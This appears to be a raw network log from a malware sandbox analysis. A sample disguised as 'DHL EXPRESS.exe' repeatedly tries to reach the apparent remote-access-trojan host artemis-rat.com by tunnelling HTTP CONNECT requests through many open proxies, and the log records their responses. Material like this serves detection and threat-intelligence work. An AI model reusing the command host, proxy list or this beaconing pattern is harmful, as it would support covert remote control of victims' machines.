Mar 11, 2024 18:36:44.849737883 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.8	50015	43.153.52.155	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.850291014 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.8	49812	193.106.57.96	5678	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.861226082 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.8	49831	58.234.116.197	8197	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.873291016 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.8	49825	93.171.243.253	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.878536940 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.8	49921	104.16.105.106	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.885946035 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.040045977 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.8	49830	220.248.70.237	9002	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.894079924 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.229058027 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 17:36:44 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.8	49915	103.152.112.145	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.896725893 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.378101110 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.940668106 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.050071955 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.300373077 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.597475052 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.831428051 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.300487041 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.343251944 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.22.0 Date: Mon, 11 Mar 2024 17:37:03 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.22.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.8	49946	104.16.106.65	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.919684887 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.074188948 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.8	49877	160.16.90.35	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.920316935 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.290782928 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.8	49854	181.212.45.228	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.920449972 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.483675003 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.8	49848	1.194.236.229	5005	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.921601057 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.612468958 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:46.596931934 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:47.493079901 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.8	50065	91.231.186.133	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.929318905 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.8	49880	18.134.236.231	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.938492060 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.231728077 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:45 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.8	49974	104.18.20.160	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.949443102 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.103549957 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.8	49932	142.54.237.34	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.955563068 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.8	49876	1.15.62.12	5678	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.956034899 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.8	49814	103.190.54.141	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.976526022 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.8	50002	172.67.181.197	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.981404066 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.136362076 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.8	50006	104.27.15.161	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.985338926 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.139662981 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.8	49867	212.108.145.195	9090	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.994275093 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.8	49973	142.54.229.249	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:44.998999119 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.8	50016	162.159.242.138	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.010147095 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.171020985 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.8	49882	123.30.154.171	7777	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.021248102 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.392203093 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.10.3 (Ubuntu) Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 30 2e 33 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.10.3 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.8	49905	65.109.152.88	8888	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.024990082 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.363662004 CET	270	IN	HTTP/1.1 503 Service Unavailable Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Mon, 11 Mar 2024 17:36:55 GMT Content-Length: 102 Data Raw: 64 69 61 6c 20 74 63 70 3a 20 6c 6f 6f 6b 75 70 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 6f 6e 20 31 2e 31 2e 31 2e 31 3a 35 33 3a 20 72 65 61 64 20 75 64 70 20 31 30 2e 36 34 2e 32 33 38 2e 32 31 36 3a 34 38 33 33 30 2d 3e 31 2e 31 2e 31 2e 31 3a 35 33 3a 20 69 2f 6f 20 74 69 6d 65 6f 75 74 0a Data Ascii: dial tcp: lookup artemis-rat.com on 1.1.1.1:53: read udp 10.64.238.216:48330->1.1.1.1:53: i/o timeout

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.8	50041	104.20.56.71	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.032627106 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:45.187005997 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.8	50044	172.67.53.215	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:45.035797119 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
